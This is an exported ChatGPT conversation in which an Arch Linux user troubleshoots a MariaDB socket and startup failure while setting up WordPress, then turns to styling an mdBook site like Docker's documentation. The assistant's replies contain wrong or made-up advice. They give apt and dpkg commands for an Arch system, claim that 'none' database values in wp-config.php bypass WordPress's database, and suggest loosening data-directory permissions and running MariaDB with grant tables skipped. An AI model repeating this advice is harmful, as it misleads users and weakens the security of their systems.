  3. Check for Index File: Apache is looking for an index file by default (like index.php or index.html). Make sure that index.php exists in /srv/http/ and is not renamed or missing.

    If you see index.php in /srv/http/ already, this is good.

  4. Ensure .htaccess Exists and is Configured: WordPress uses .htaccess to handle things like pretty permalinks. Ensure that .htaccess is in place and properly configured.

    If the file is missing, you can create it in the /srv/http/ directory. Create a new file called .htaccess and add this content:

    apache

    Copy

    # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress

    After that, restart Apache:

    bash

    Copy

    sudo systemctl restart httpd

  5. Ensure Apache Has Proper Permissions: Ensure that Apache has permission to access the WordPress directory and files. You can adjust permissions with:

    bash

    Copy

    sudo chown -R apache:apache /srv/http/ sudo chmod -R 755 /srv/http/

  6. Access WordPress: After following these steps, open your web browser and try accessing the WordPress site again by going to:

    arduino

    Copy

    http://localhost

If You Still See the 404 Error:

  • Clear your browser cache and refresh the page.
  • Try accessing the WordPress site via http://localhost/wordpress if your WordPress files are within a subfolder like wordpress.

Let me know how this goes!

Step-by-Step Guide to Set Up and Configure Apache with PHP

  1. Ensure Apache, PHP, and MySQL/MariaDB Are Installed If you haven’t already installed ApachePHP, and MariaDB, here’s how to install them:

    bash

    Copy

    sudo pacman -S apache mariadb php php-apache php-mysqli

    Final Steps: Setting Up MySQL (MariaDB)

  2. Secure MySQL (MariaDB) Installation

    Run the following command to secure the installation of MariaDB:

    bash

    Copy

    sudo mysql_secure_installation

    This will prompt you to configure the root password, remove insecure default settings, and set up other security measures.

  3. Create a Database for WordPress (Optional)

    If you're planning to set up WordPress on your LAMP stack, you'll need a database. You can create a database for WordPress like this:

    • Log into MariaDB:

      bash

      Copy

      sudo mysql -u root -p

    • Create a database for WordPress:

      sql

      Copy

      CREATE DATABASE wordpress;

    • Create a user for WordPress and grant it privileges:

      sql

      Copy

      CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES;

  4. Configure WordPress to Use Your Database

    • Rename the wp-config-sample.php file to wp-config.php:

      bash

      Copy

      sudo mv /srv/http/wp-config-sample.php /srv/http/wp-config.php

    • Edit the wp-config.php file to include your database credentials:

      bash

      Copy

      sudo nano /srv/http/wp-config.php

      Update the following lines with your database details:

      php

      Copy

      define('DB_NAME', 'wordpress'); define('DB_USER', 'wpuser'); define('DB_PASSWORD', 'password'); define('DB_HOST', 'localhost');

      Save the changes.


Conclusion

Now, you should have a working LAMP stack with PHP running on Apache, and MySQL/MariaDB installed. If you’re setting up WordPress, you can proceed with the WordPress installation in your browser by visiting http://localhost and completing the setup.

If you encounter any further issues or need

ChatGPT said:

It seems that you're encountering a connection issue when trying to connect to MySQL (or MariaDB) via the mysql command. The error message Can't connect to local server through socket '/run/mysqld/mysqld.sock' (111) typically indicates that the MySQL or MariaDB service isn't running.

Here's how you can troubleshoot and resolve the issue:

Step 1: Check the Status of MariaDB or MySQL

First, verify if your MariaDB (or MySQL) service is running:

bash

Copy

sudo systemctl status mariadb

If the service isn't running, start it with:

bash

Copy

sudo systemctl start mariadb

Or, if you're using MySQL instead of MariaDB, try:

bash

Copy

sudo systemctl start mysql

Step 2: Verify the MySQL/MariaDB Socket Path

Sometimes, MySQL or MariaDB might be looking for the socket file at a different location than expected. If the service is running but you still can't connect, check the configuration file (/etc/my.cnf or /etc/mysql/my.cnf) to verify the socket location. It should look something like this:

ini

Copy

[mysqld] socket=/var/lib/mysql/mysql.sock

If it’s set to a different path, update your mysql command to use the correct socket location, like:

bash

Copy

mysql -u root -p --socket=/var/lib/mysql/mysql.sock

Step 3: Restart MySQL/MariaDB

Sometimes, restarting the service can resolve socket and connection issues. Run:

bash

Copy

sudo systemctl restart mariadb

Or for MySQL:

bash

Copy

sudo systemctl restart mysql

Step 4: Check the MySQL/MariaDB Error Logs

If the issue persists, check the MariaDB or MySQL logs for more details on why it's failing to start. The logs are typically located in /var/log/mysql/error.log or /var/log/mariadb/mariadb.log. You can view them with:

bash

Copy

sudo cat /var/log/mysql/error.log

Or:

bash

Copy

sudo cat /var/log/mariadb/mariadb.log

This should give you more information about what's causing the issue.

Step 5: Use mariadb Instead of mysql

As the warning message suggests, you might need to use mariadb instead of mysql since you're using MariaDB (which is the drop-in replacement for MySQL in most distributions). Try running:

bash

Copy

sudo mariadb -u root -p

Summary of Commands:

  • Start the MariaDB service: sudo systemctl start mariadb
  • Check if the service is running: sudo systemctl status mariadb
  • Restart MariaDB: sudo systemctl restart mariadb
  • View the log file for more info: sudo cat /var/log/mysql/error.log
  • Use the mariadb command instead of mysqlsudo mariadb -u root -p

If the service starts properly, try running the mysql or mariadb command again and continue with your configuration. Let me know if you need further assistance!

You said:

root@Archie ~ # systemctl start mariadb Job for mariadb.service failed because the control process exited with error code. See "systemctl status mariadb.service" and "journalctl -xeu mariadb.service" for details. root@Archie ~ #

ChatGPT said:

It looks like the MariaDB service is failing to start. To diagnose the issue, you can follow these steps:

Step 1: Check the Status of MariaDB Service

Use systemctl status to get more information about the failure:

bash

Copy

sudo systemctl status mariadb.service

This will provide a log of what happened when trying to start MariaDB, including error codes and messages. Pay close attention to any specific errors that show up in this output.

Step 2: View Detailed Logs Using journalctl

You can also use journalctl to see detailed logs for the MariaDB service. Run the following command to get more context:

bash

Copy

sudo journalctl -xeu mariadb.service

This will give you additional details and any error messages that can help pinpoint what's going wrong.

Step 3: Check for Common Issues

There are several common issues that might cause MariaDB to fail:

A. Permissions or Disk Space

Ensure that MariaDB has the necessary permissions and there is enough disk space for it to operate.

  • Check disk space with:

    bash

    Copy

    df -h

  • Check if MariaDB has the necessary permissions to access its data directory:

    bash

    Copy

    sudo chown -R mysql:mysql /var/lib/mysql sudo chmod -R 755 /var/lib/mysql

B. Configuration File Issues

There may be issues with the MariaDB configuration file (/etc/my.cnf or /etc/mysql/my.cnf). Check if the file has any errors or incorrect configurations. Try restoring the default configuration or fixing any invalid parameters.

C. Data Directory Corruption

Sometimes, database files might get corrupted. Check the logs for any signs of corruption in the database files. If corruption is suspected, MariaDB may need to be reinitialized.

D. Missing Files or Directories

MariaDB needs certain directories and files to be in place. Make sure that directories such as /var/lib/mysql exist and have the correct ownership and permissions:

bash

Copy

sudo mkdir -p /var/lib/mysql sudo chown -R mysql:mysql /var/lib/mysql

Step 4: Reinitialize MariaDB (If Necessary)

If MariaDB fails to start due to missing data or an incomplete installation, you can attempt to reinitialize it:

bash

Copy

sudo mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql

Afterward, try restarting the service again:

bash

Copy

sudo systemctl start mariadb

Step 5: Reinstall MariaDB

If all else fails, you can try reinstalling MariaDB:

  1. Remove the existing installation:

    bash

    Copy

    sudo apt remove --purge mariadb-server mariadb-client

  2. Reinstall MariaDB:

    bash

    Copy

    sudo apt install mariadb-server mariadb-client

Then attempt to start the service again.

Step 6: Review the Error Logs

After checking the output of systemctl status mariadb.service and journalctl, review the specific error code or message. Common errors include missing files, permissions, or configuration issues. You can use these details to further troubleshoot the problem.

Let me know what you find in the logs! If you need help interpreting any error messages, feel free to share them here.

You said:

Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; preset: disabled) Active: failed (Result: exit-code) since Sat 2025-02-15 04:04:37 EAT; 1min 55s ago Invocation: a4b6a82f030c49efaf94f22ee628b91b Docs: man:mariadbd(8) https://mariadb.com/kb/en/library/systemd/ Process: 2824045 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || > Process: 2824101 ExecStart=/usr/bin/mariadbd $MYSQLD_OPTS $_WSREP_NEW_CLUSTER $_WSREP_S> Main PID: 2824101 (code=exited, status=1/FAILURE) Status: "MariaDB server is down" Mem peak: 174.4M CPU: 666ms Feb 15 04:04:36 Archie mariadbd[2824101]: 2025-02-15 4:04:36 0 [Note] InnoDB: Buffer pool(> Feb 15 04:04:36 Archie mariadbd[2824101]: 2025-02-15 4:04:36 0 [ERROR] Can't open and lock> Feb 15 04:04:36 Archie mariadbd[2824101]: 2025-02-15 4:04:36 0 [Note] Server socket create> Feb 15 04:04:36 Archie mariadbd[2824101]: 2025-02-15 4:04:36 0 [Note] Server socket create> Feb 15 04:04:36 Archie mariadbd[2824101]: 2025-02-15 4:04:36 0 [ERROR] Fatal error: Can't > Feb 15 04:04:36 Archie mariadbd[2824101]: 2025-02-15 4:04:36 0 [ERROR] Aborting Feb 15 04:04:37 Archie systemd[1]: mariadb.service: Main process exited, code=exited, statu> Feb 15 04:04:37 Archie systemd[1]: mariadb.service: Failed with result 'exit-code'. Feb 15 04:04:37 Archie systemd[1]: Failed to start MariaDB 11.7.2 database server. Feb 15 04:04:37 Archie systemd[1]: mariadb# # This group is read both by the client and the server # use it for options that affect everything # [client-server] # # include *.cnf from the config directory # !includedir /etc/my.cnf.d [mysqld] socket=/var/lib/mysql/mysql.sock

ChatGPT said:

Based on the logs you provided, the MariaDB service is failing to start due to a few issues:

  1. InnoDB ErrorCan't open and lock file
  2. Server Socket Creation ErrorsServer socket create
  3. Fatal ErrorCan't open and lock

These errors indicate that MariaDB is having trouble with its data files, likely due to corruption or incorrect permissions, or potentially because of a misconfiguration.

Here's how you can troubleshoot and resolve these issues:

Step 1: Check Permissions for MariaDB Data Directory

One common cause of such issues is improper permissions on the MariaDB data directory. By default, MariaDB stores its data in /var/lib/mysql. Check that this directory and all its files are owned by the mysql user:

bash

Copy

sudo chown -R mysql:mysql /var/lib/mysql

Also, ensure that the directory has the right permissions:

bash

Copy

sudo chmod -R 755 /var/lib/mysql

Step 2: Check for Disk Space

A full disk can also cause problems with MariaDB starting. Run the following command to check if your disk has enough space:

bash

Copy

df -h

If your disk is full, you may need to clean up space or expand the disk.

Step 3: Check for Existing Lock Files

Sometimes, MariaDB won't start due to existing lock files. Check if there are any .lock or .pid files in /var/lib/mysql/ or /var/run/mysqld/:

bash

Copy

sudo ls /var/lib/mysql/*.lock sudo ls /var/run/mysqld/*.pid

If you find any, remove them:

bash

Copy

sudo rm /var/lib/mysql/*.lock sudo rm /var/run/mysqld/*.pid

Then try restarting MariaDB:

bash

Copy

sudo systemctl start mariadb

Step 4: Check MariaDB Error Logs

The error log can provide more insight into what's causing the service to fail. Check the MariaDB error log, which is typically located at /var/log/mysql/error.log or /var/log/mariadb/mariadb.log.

You can use the following command to view the last few lines:

bash

Copy

sudo tail -n 50 /var/log/mysql/error.log

This will show you the latest entries in the log, which might contain additional information about what's going wrong.

Step 5: Reinitialize the MariaDB Database (if Necessary)

If MariaDB has data corruption or issues with the database files, you might need to reinitialize it. This will create fresh database files:

bash

Copy

sudo mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql

After running the command, try starting MariaDB again:

bash

Copy

sudo systemctl start mariadb

Step 6: Disable WSREP (if you're not using Galera Cluster)

The log indicates the presence of WSREP in the configuration ($_WSREP_NEW_CLUSTER). This is related to Galera clustering. If you're not using MariaDB's Galera Cluster feature, try disabling WSREP in the configuration to simplify the setup.

To disable WSREP:

  1. Open the MariaDB configuration file /etc/my.cnf (or /etc/mysql/my.cnf) in your preferred text editor:

    bash

    Copy

    sudo nano /etc/my.cnf

  2. In the [mysqld] section, add the following line to disable WSREP:

    ini

    Copy

    wsrep_on = OFF

  3. Save and close the file, then restart MariaDB:

    bash

    Copy

    sudo systemctl restart mariadb

Step 7: Check for Misconfiguration in /etc/my.cnf

If there are any misconfigurations in the MariaDB config file (/etc/my.cnf or /etc/mysql/my.cnf), they could also prevent MariaDB from starting. Based on the snippet you provided, the socket path seems fine, but verify that there are no conflicting or erroneous entries. After making changes to the config file, restart MariaDB.

Step 8: Reinstall MariaDB (Last Resort)

If none of the above steps resolve the issue, you may need to reinstall MariaDB. First, remove the existing installation:

bash

Copy

sudo apt remove --purge mariadb-server mariadb-client

Then reinstall MariaDB:

bash

Copy

sudo apt install mariadb-server mariadb-client

After reinstalling, try starting the service again:

bash

Copy

sudo systemctl start mariadb

Conclusion

Start with checking the permissions and logs, as these are the most common issues. If needed, you can try reinitializing the database or disabling WSREP. Let me know what you find in the logs or if you need further help!

You said:

/usr/bin/mysql_install_db: Deprecated program name. It will be removed in a future release, use 'mariadb-install-db' instead Installing MariaDB/MySQL system tables in '/var/lib/mysql' ... OK To start mariadbd at boot time you have to copy support-files/mariadb.service to the right place for your system Two all-privilege accounts were created. One is root@localhost, it has no password, but you need to be system 'root' user to connect. Use, for example, sudo mysql The second is mysql@localhost, it has no password either, but you need to be the system 'mysql' user to connect. After connecting you can set the password, if you would need to be able to connect as any of these users with a password and without sudo See the MariaDB Knowledgebase at https://mariadb.com/kb You can start the MariaDB daemon with: cd '/usr' ; /usr/bin/mariadbd-safe --datadir='/var/lib/mysql' You can test the MariaDB daemon with mariadb-test-run.pl cd '/usr/mariadb-test' ; perl mariadb-test-run.pl Please report any problems at https://mariadb.org/jira The latest information about MariaDB is available at https://mariadb.org/. Consider joining MariaDB's strong and vibrant community: https://mariadb.org/get-involved

ChatGPT said:

It looks like you successfully initialized the MariaDB database system with the mysql_install_db command (which is now deprecated in favor of mariadb-install-db). The next steps depend on whether you want to continue the setup and start using MariaDB, especially if you’re only looking to set up WordPress without a database for static generation.

Here's what you should do next:

Step 1: Start MariaDB

Now that the system tables are created, you can start the MariaDB service:

bash

Copy

sudo systemctl start mariadb

If it starts successfully, you should be able to access the MariaDB shell using:

bash

Copy

sudo mysql -u root

If you encounter issues, check the MariaDB service logs as described earlier.

If you are planning to use MariaDB for anything beyond static WordPress generation, you should set a password for the root user:

  1. After logging into MariaDB with sudo mysql -u root, execute the following command to set a password:

    sql

    Copy

    ALTER USER 'root'@'localhost' IDENTIFIED BY 'newpassword';

  2. Exit the MariaDB shell:

    sql

    Copy

    exit;

Step 3: Disable Database Requirement for Static WordPress Site

If you're building a static website with WordPress (not requiring a live database), and you want to skip the database setup entirely, you can try using a plugin like Simply Static to generate a static version of your site.

Since you're aiming to create a static site, you can proceed without needing to use the database. However, to avoid seeing database errors on the WordPress setup page, you can manually configure wp-config.php with define statements:

php

Copy

define('DB_NAME', 'none'); define('DB_USER', 'none'); define('DB_PASSWORD', 'none'); define('DB_HOST', 'none');

This will let you bypass database setup and still continue setting up WordPress for the static site.

Step 4: Using Simply Static Plugin for Static Site Generation

  1. Install Simply Static Plugin:

    • Go to the WordPress admin dashboard.
    • Navigate to Plugins > Add New.
    • Search for "Simply Static" and install it.
  2. Configure Simply Static:

    • Go to the Simply Static plugin settings.
    • Configure the output folder to wherever you'd like your static files to be saved.
    • Generate your static site.
  3. Upload Static Files to GitHub Pages: Once your static files are generated, you can upload them to GitHub Pages by pushing the files to the gh-pages branch of a GitHub repository.

Conclusion

  • If you want a static WordPress site, you don't need to worry about setting up a working database.
  • If you do want a working WordPress site, you can start MariaDB and configure it accordingly.
  • Use plugins like Simply Static to convert your dynamic WordPress site into static HTML files.

Let me know if you need further help with any of these steps!

You said:

root@Archie ~ # mysql -u root -p mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Enter password: ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (111) root@Archie ~ # mysql -u root -p mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Enter password: ERROR 2002 (HY000): Can

You said:

root@Archie ~ # mysql -u root mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (111) root@Archie ~ # mariadb -u root ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (111) root@Archie ~ #

ChatGPT said:

The error you're encountering, Can't connect to local server through socket '/run/mysqld/mysqld.sock', suggests that MariaDB is not running or not properly initialized. This is likely causing the issue with connecting to the database.

Here’s how you can troubleshoot and resolve it:

Step 1: Check the MariaDB Service Status

Make sure the MariaDB service is running by checking its status:

bash

Copy

sudo systemctl status mariadb

If the service is not running, try starting it:

bash

Copy

sudo systemctl start mariadb

If starting the service fails, check the logs for any error messages that might help pinpoint the issue:

bash

Copy

journalctl -xeu mariadb.service

Step 2: Check for Existing Processes

If the service won’t start, make sure there are no old MariaDB processes running. You can check by running:

bash

Copy

ps aux | grep mariadb

If you find any, you might need to kill those processes before trying again:

bash

Copy

sudo kill <PID>

Then try restarting MariaDB again:

bash

Copy

sudo systemctl start mariadb

Step 3: Check for Configuration Issues

If the service is still failing to start, there could be an issue with the MariaDB configuration file (/etc/my.cnf or /etc/mysql/my.cnf), or missing directories (e.g., data directories).

  • Verify that the mysqld.sock file exists. The socket file should be located in /run/mysqld/mysqld.sock or /var/lib/mysql/mysqld.sock (depending on your configuration).
  • Ensure that the MariaDB data directory has the correct permissions:

bash

Copy

sudo chown -R mysql:mysql /var/lib/mysql

Step 4: Initialize MariaDB Data Directory

If this is a fresh installation of MariaDB, you may need to initialize the data directory:

bash

Copy

sudo mariadb-install-db --user=mysql --basedir=/usr --datadir=/var/lib/mysql

This will set up the necessary MariaDB system tables.

Step 5: Start MariaDB Again

After initializing the data directory, start MariaDB again:

bash

Copy

sudo systemctl start mariadb

Then try connecting again using:

bash

Copy

mariadb -u root

Step 6: Check for Firewall Issues

Sometimes, firewall settings can interfere with connecting to MariaDB. Make sure that the required ports (e.g., 3306 for MariaDB) are open, although this shouldn’t be an issue for local connections.

Step 7: Examine the MariaDB Log Files

Finally, if you're still having trouble, check the MariaDB error log for more detailed information. The log is usually found at:

bash

Copy

/var/log/mysql/error.log

If any specific errors show up, they should provide more insight into what's going wrong.


Let me know how it goes after these steps, and if you're still encountering issues, we can dive into more specific fixes!

You said:

b 15 04:10:26 Archie mariadbd[2849710]: 2025-02-15 4:10:26 0 [Note] InnoDB: Buffer pool(s) load> Feb 15 04:10:27 Archie mariadbd[2849710]: 2025-02-15 4:10:27 0 [Note] Server socket created on IP> Feb 15 04:10:27 Archie mariadbd[2849710]: 2025-02-15 4:10:27 0 [Note] Server socket created on IP> Feb 15 04:10:27 Archie mariadbd[2849710]: 2025-02-15 4:10:27 0 [Note] mariadbd: Event Scheduler: > Feb 15 04:10:27 Archie mariadbd[2849710]: 2025-02-15 4:10:27 0 [Note] /usr/bin/mariadbd: ready fo> Feb 15 04:10:27 Archie mariadbd[2849710]: Version: '11.7.2-MariaDB' socket: '/var/lib/mysql/mysql> Feb 15 04:10:27 Archie systemd[1]: Started MariaDB 11.7.2 database server. root@Archie ~ # mariadb -u root ERROR 2002 (HY000): Can't connect to local server through socket '/run/mys

ChatGPT said:

It seems that MariaDB is starting successfully according to the logs, but you're still unable to connect due to the socket error: Can't connect to local server through socket '/run/mysqld/mysqld.sock'.

Here are a few steps to resolve this issue:

1. Check for Active MariaDB Socket

First, confirm whether the MariaDB socket file exists and if MariaDB is actually running. You can do this by checking for the existence of the socket file:

bash

Copy

ls -l /run/mysqld/mysqld.sock

If the file doesn’t exist or is missing, MariaDB might not be correctly configured to use the socket file in the expected directory.

2. Check MariaDB Configuration

In some cases, MariaDB may be using a different socket location. You can verify the configured socket file location in the MariaDB configuration file (/etc/my.cnf or /etc/mysql/my.cnf), typically under the [mysqld] section:

ini

Copy

[mysqld] socket=/var/lib/mysql/mysql.sock

Make sure this matches the socket file location MariaDB is using (/run/mysqld/mysqld.sock or /var/lib/mysql/mysql.sock).

If the socket file in the configuration is different, update the path accordingly and restart MariaDB:

bash

Copy

sudo systemctl restart mariadb

3. Use Correct MySQL/MariaDB Client

You might be using the wrong client command to connect. Since you are using MariaDB, try using the MariaDB command instead of the MySQL command:

bash

Copy

mariadb -u root

4. Check Permissions

Ensure that the mysql directory and socket file have the correct permissions:

bash

Copy

sudo chown -R mysql:mysql /var/lib/mysql /run/mysqld

5. Check MariaDB Logs Again

If the issue persists, check the MariaDB logs for any further clues:

bash

Copy

journalctl -xeu mariadb.service

6. Restart MariaDB Service

After making these changes, restart the MariaDB service to apply the configurations:

bash

Copy

sudo systemctl restart mariadb

Then, try connecting again:

bash

Copy

mariadb -u root


Let me know the output of these checks and if you need more assistance!

You said:

d/mysqld.sock' (111) root@Archie ~ # mariadb-install-db --user=mysql --basedir=/usr --datadir=/var/lib/mysql mysql.user table already exists! Run mariadb-upgrade, not mariadb-install-db root@Archie ~ # mariadb-upgrade Reading datadir from the MariaDB server failed. Got the following error when executing the 'mysql' command line client ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (111) FATAL ERROR: Upgrade failed root@Archie ~ #

ChatGPT said:

It seems like you're facing an issue where MariaDB isn't starting properly and you're unable to connect to it using the mariadb client due to the socket error. The logs and errors suggest that MariaDB might not be initialized correctly, or the socket file isn’t being created as expected.

Let’s try these steps to resolve the issue:

1. Check MariaDB Service Status

First, check the MariaDB service status again to confirm that it’s not failing silently:

bash

Copy

sudo systemctl status mariadb

If the service is not active, it will provide details on why it's failing.

2. Start MariaDB Service

If it's not running, try restarting the MariaDB service and see if you can start it successfully:

bash

Copy

sudo systemctl restart mariadb

Check the status again:

bash

Copy

sudo systemctl status mariadb

3. Check for Running MariaDB Processes

If the service still fails, check if any MariaDB processes are already running. If so, kill them and try again:

bash

Copy

ps aux | grep mariadb

Look for any processes related to mariadbd and note the PID. If found, kill the processes:

bash

Copy

sudo kill -9 <PID>

Then, attempt to restart MariaDB:

bash

Copy

sudo systemctl restart mariadb

4. Verify Socket File Location

Check if MariaDB is using the socket file located in /run/mysqld/mysqld.sock. You can use lsof to check if it's being used by a process:

bash

Copy

sudo lsof | grep mysqld.sock

If no result is found, the socket file might not have been created, and the server might not be running correctly.

5. Check the MariaDB Logs

Look into the MariaDB error logs to see why the service might be failing to start. You can find the logs in /var/log/mysql/error.log or /var/log/mariadb/mariadb.log. Check if there are any specific errors or warnings that could give more insight.

bash

Copy

sudo tail -n 50 /var/log/mysql/error.log

or

bash

Copy

sudo tail -n 50 /var/log/mariadb/mariadb.log

6. Reconfigure or Reinstall MariaDB

If the issue still persists, you might need to reconfigure or reinstall MariaDB:

Reconfigure:

bash

Copy

sudo dpkg-reconfigure mariadb-server

Reinstall:

You can also try reinstalling MariaDB:

bash

Copy

sudo apt-get purge mariadb-server mariadb-client sudo apt-get install mariadb-server mariadb-client

Make sure you back up any important data before reinstalling.

7. Manually Create Database for WordPress

Once MariaDB is running, you can create a database for your WordPress installation by running:

bash

Copy

mariadb -u root

If you can get access, create the WordPress database and user:

sql

Copy

CREATE DATABASE wordpress; CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES; EXIT;

Now, update your wp-config.php file with these details:

php

Copy

define('DB_NAME', 'wordpress'); define('DB_USER', 'wpuser'); define('DB_PASSWORD', 'password'); define('DB_HOST', 'localhost');

8. Start MariaDB in Safe Mode

If the above steps don’t work, try running MariaDB in safe mode to troubleshoot further:

bash

Copy

sudo mariadbd --skip-grant-tables --skip-networking &

Then, attempt to connect:

bash

Copy

mariadb -u root

Once connected, you can try running mariadb-upgrade and troubleshooting further.


These steps should help resolve the issue with MariaDB and allow you to proceed with your WordPress installation. Let me know how it goes!

You said:

subl /etc/my.cnf # This group is read both by the client and the server # use it for options that affect everything # [client-server] # # include *.cnf from the config directory # !includedir /etc/my.cnf.d [mysqld] socket=/var/lib/mysql/mysql.sock

ChatGPT said:

It looks like you are trying to modify the my.cnf configuration file for MariaDB. The configuration you have shown defines some basic settings, including the socket location. Here’s how we can troubleshoot and further configure MariaDB to resolve the connection issue:

1. Check Socket Path

You have specified the socket path in the [mysqld] section as:

ini

Copy

socket=/var/lib/mysql/mysql.sock

Make sure that the directory /var/lib/mysql/ exists and has the correct permissions. If MariaDB is not starting properly, it might not have the permissions to create the socket file there.

2. Change Socket Path to /run/mysqld/mysqld.sock

The error message you were receiving mentioned /run/mysqld/mysqld.sock. To match this, you can update the socket path to:

ini

Copy

[mysqld] socket=/run/mysqld/mysqld.sock

This ensures that MariaDB is trying to create the socket file in the expected directory.

3. Set Permissions

Ensure the /run/mysqld/ directory exists and has the appropriate permissions for MariaDB to write the socket file. If the directory doesn't exist, create it:

bash

Copy

sudo mkdir -p /run/mysqld sudo chown mysql:mysql /run/mysqld

4. Restart MariaDB

After editing the configuration file, restart MariaDB to apply the changes:

bash

Copy

sudo systemctl restart mariadb

Check if the service is running properly:

bash

Copy

sudo systemctl status mariadb

5. Check Error Logs

If it still doesn't work, review the MariaDB error logs again. If the issue persists, the error logs might give more specific information about what is failing.

bash

Copy

sudo tail -n 50 /var/log/mysql/error.log

6. Ensure Correct MySQL/MariaDB Client

Make sure you are using the correct MariaDB client commands:

  • If you're using mysql and getting the "deprecated program name" warning, try using mariadb instead:

    bash

    Copy

    mariadb -u root

  • You can also check if the server is listening for connections via the socket by running:

    bash

    Copy

    sudo netstat -tulnp | grep mariadb

If everything works, MariaDB should start without errors, and you should be able to connect via mariadb or mysql commands.

Let me know how this goes!

ChatGPT said:

To create a website with a similar look and feel to the Docker Get Started page using Obsidian and mdBook, you'll need to focus on both design and functionality. Here’s a step-by-step approach to achieve a similar layout and style:

1. Using mdBook for Building the Website

mdBook is a great tool for building documentation sites from Markdown files, and it's widely used for creating book-like websites. To make your mdBook site look like the Docker documentation, you’ll need to focus on customizing the theme and the structure.

Setting up mdBook

First, you need to have mdBook installed on your system:

bash

Copy

cargo install mdbook

Basic Steps:

  1. Create a New mdBook Project: Create a new folder for your project and initialize an mdBook project:

    bash

    Copy

    mdbook init my-website

  2. Create Markdown Files: In the src folder, create your Markdown files (e.g., index.mdgetting-started.md, etc.) that will be displayed in your website.

  3. Customize the book.toml file: In the book.toml file, you can configure various settings like the title, description, and more.

  4. Build Your Book: After adding content, run:

    bash

    Copy

    mdbook build

  5. Preview the Book: You can also preview your site locally with:

    bash

    Copy

    mdbook serve

    This will allow you to see the site at http://localhost:3000.


2. Customizing the Theme to Look Like Docker Docs

Docker’s documentation has a clean and professional layout with features like a sidebar, navigation bar, and a clear separation between the content sections. To achieve a similar look, you’ll need to customize the mdBook theme.

Customize the mdBook Theme

  1. Use a Custom CSS: You can override the default mdBook theme by providing a custom CSS file. This CSS can be placed in the book.toml file and can make your site look more like the Docker docs.

    • Create a theme.css file with styles that resemble Docker's layout. For example:

    css

    Copy

    /* Custom CSS to match Docker Docs */ body { font-family: "Arial", sans-serif; background-color: #f7f7f7; } h1, h2, h3 { color: #333; } /* Add specific styles for the sidebar */ .sidebar { background-color: #1b1b1b; color: white; } .sidebar a { color: white; } /* Styling for the top bar */ .topbar { background-color: #333; color: white; } /* Style the footer */ footer { background-color: #333; color: white; }

    • Place the theme.css file in the src folder or a custom folder, and then link it in your book.toml:

    toml

    Copy

    [output.html] additional_css = ["src/theme.css"]

  2. Customize the Sidebar:

    • Docker’s website features a prominent sidebar with links to various sections. You can customize the sidebar in mdBook by modifying the SUMMARY.md file. The SUMMARY.md file controls the structure of your sidebar (table of contents).

    Example SUMMARY.md:

    markdown

    Copy

    # Summary - [Introduction](./introduction.md) - [Get Started](./getting-started.md) - [Advanced Guides](./advanced-guides.md) - [Reference](./reference.md)

    This will ensure that your sidebar has links to your pages, just like Docker’s documentation.


3. Additional Customization Options

  • Add a Navbar: You can add a top navigation bar (similar to Docker’s docs) by modifying the HTML structure of the page. You can inject a custom navbar in book.toml and use JavaScript to add interactivity if needed.

  • JavaScript for Interactivity: If you need advanced features like smooth scrolling or interactive elements, you can add custom JavaScript files. You can inject custom JS in book.toml like so:

    toml

    Copy

    [output.html] additional_js = ["src/custom.js"]

    The custom.js file could contain interactions like collapsible sections or dropdowns for more dynamic user experience.

  • Fonts and Icons: Docker uses custom fonts and icons to make its documentation stylish. You can include external resources like Google Fonts or FontAwesome for the same effect.

    Example of adding Google Fonts:

    html

    Copy

    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">

    You can add the link in the header.html template that you can modify under the src/templates folder.


4. Hosting Your mdBook Site

Once you have customized your mdBook site, you can easily deploy it on platforms like GitHub Pages or Netlify.

  • GitHub Pages: Commit your files to a GitHub repository and enable GitHub Pages under the repository settings.

  • Netlify: Simply connect your GitHub repo to Netlify, and it will automatically build and deploy the site for you.


5. Additional Tools

  • Obsidian Integration: If you are writing your content in Obsidian and want to use it for mdBook, you can easily export your Obsidian notes to Markdown files and use them in your mdBook project.

  • mdBook Plugins: You can extend the functionality of your site by using mdBook plugins. Look into the mdBook themes and plugins that offer extended features for customization.


Conclusion

By following the above steps, you can create a documentation site using mdBook that has a layout and style similar to Docker's documentation. The key steps are:

  1. Set up mdBook and add your content.
  2. Customize the theme using CSS to match Docker's design.
  3. Modify the sidebar and navigation to structure the content in a user-friendly way.
  4. Host your site on GitHub Pages, Netlify, or other platforms.

Let me know if you need further help with any of the steps or have questions about specific customizations!

You said:

:!mdbook serve 2025-02-15 02:36:26 [ERROR] (mdbook::utils): Error: Couldn't open SUMMARY.md in "/home/dante/Documents/Obsidian Vault/src" directory 2025-02-15 02:36:26 [ERROR] (mdbook::utils): Caused By: No such file or directory (os error 2) shell returned 101 Press ENTER or type command to continue

ChatGPT said:

The error you're seeing indicates that the SUMMARY.md file, which is crucial for defining the structure of the mdBook (including the sidebar and table of contents), is missing or located in the wrong directory.

How to Resolve the Issue:

  1. Check the File Location: Ensure that the SUMMARY.md file is located in the correct directory. By default, the SUMMARY.md file should be in the root of the src folder of your mdBook project.

    In your case, the error suggests that mdBook is looking for SUMMARY.md in the "/home/dante/Documents/Obsidian Vault/src" directory but couldn't find it.

  2. Create or Move the SUMMARY.md File:

